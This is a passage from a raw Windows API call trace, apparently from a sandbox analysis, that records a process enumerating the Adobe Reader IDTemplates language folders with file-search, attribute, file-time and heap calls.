lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.305] NtClose (Handle=0x168) returned 0x0 [0081.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.306] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.306] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.306] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5944, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12018f8 [0081.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1262d20 [0081.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.308] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5404, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201918 [0081.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1262e28 [0081.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.309] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5404, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.309] GetLastError () returned 0x12 [0081.309] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.309] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.309] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.309] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5944, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.309] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5404, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.309] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5404, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.310] GetLastError () returned 0x12 [0081.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.310] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.310] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KOR", cAlternateFileName="")) returned 1 [0081.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.310] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.311] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.312] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.312] NtClose (Handle=0x178) returned 0x0 [0081.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.313] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.313] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x592a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201938 [0081.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1262f30 [0081.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.315] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201958 [0081.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263038 [0081.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.316] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.316] GetLastError () returned 0x12 [0081.316] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.316] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.316] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.316] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x592a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.316] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.316] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.316] GetLastError () returned 0x12 [0081.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.317] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.317] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLD", cAlternateFileName="")) returned 1 [0081.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.318] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.318] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.318] NtClose (Handle=0x168) returned 0x0 [0081.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.318] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.319] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.319] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10929, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201978 [0081.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263140 [0081.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6740) returned 0x12527c8 [0081.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.320] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10405, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201998 [0081.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263248 [0081.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.322] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10405, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.322] GetLastError () returned 0x12 [0081.322] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.322] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.322] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, 